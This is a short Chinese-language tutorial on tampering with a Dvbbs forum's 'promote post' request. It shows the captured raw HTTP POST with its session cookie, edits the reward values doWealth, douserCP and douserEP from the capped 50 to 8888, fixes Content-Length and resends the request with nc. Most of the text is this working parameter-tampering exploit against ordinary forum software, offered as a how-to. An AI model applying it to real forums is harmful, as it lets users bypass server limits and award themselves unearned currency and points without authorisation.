比如我有一贴,
http://127.0.0.1/dispbbs.asp?boardID=30&ID=26954&page=1
然后对本贴进行提升
http://127.0.0.1/admin_postings.asp?action=提升&BoardID=30&ID=26954
默认提升最高的数目是50..如下图
这时候我们用WSockExpert进行抓包....抓到包为
POST
/admin_postings.asp?action=uptopic HTTP/1.1
Accept: image/gif,
image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword,
application/x-shockwave-flash, */*
Referer: http://127.0.0.1/admin_postings.asp?action提升&BoardID=30&ID=26954
Accept-Language: zh-cn
Content-Type:
application/x-www-form-urlencoded
Accept-Encoding: gzip,
deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)
Host: 127.0.0.1
Content-Length: 141
Connection:
Keep-Alive
Cache-Control: no-cache
Cookie:
DvForum=UserID=617&usercookies=2&password=hjf87126ffz2C3g7y&userhidden=1&userclass=%B0%E6%D6%F7&username=fhod&StatUserID=6127457519;
style=null; ASPSESSIONIDCQTDACAT=JHKDJPECDFDKJHDABKIGCLEM; Dvbbs=;
upNum=0
title=%BA%C3%CE%C4%D5%C2&content=%BA%C3&doWealth=50&douserCP=50&douserEP=50&ID=26954&replyID=&boardID=30&msg=&submit=%C8%B7%C8%CF%B2%D9%D7%F7
然后我们来进行修改.
数值修改就在这么一段
doWealth=50&douserCP=50&douserEP=50
我们改为任意一个数...这里我改了doWealth=8888&douserCP=8888&douserEP=8888图个吉利..哈哈.
因为数字修改了..字节也就增加了..我加了6个..所以就做了6个字节..把原来的
Content-Length:
141
改为
Content-Length: 147
完成的就为
POST
/admin_postings.asp?action=uptopic HTTP/1.1
Accept: image/gif,
image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword,
application/x-shockwave-flash, */*
Referer: http://127.0.0.1/admin_postings.asp?action=提升&BoardID=30&ID=26954
Accept-Language: zh-cn
Content-Type:
application/x-www-form-urlencoded
Accept-Encoding: gzip,
deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)
Host: 127.0.0.1
Content-Length: 147
Connection:
Keep-Alive
Cache-Control: no-cache
Cookie:
DvForum=UserID=617&usercookies=2&password=hjf87126ffz2C3g7y&userhidden=1&userclass=%B0%E6%D6%F7&username=fhod&StatUserID=6127457519;
style=null; ASPSESSIONIDCQTDACAT=JHKDJPECDFDKJHDABKIGCLEM; Dvbbs=;
upNum=0
title=%BA%C3%CE%C4%D5%C2&content=%BA%C3&doWealth=8888&douserCP=8888&douserEP=8888&ID=26954&replyID=&boardID=30&msg=&submit=%C8%B7%C8%CF%B2%D9%D7%F7
然后nc提交
c:\nc
127.0.0.1 80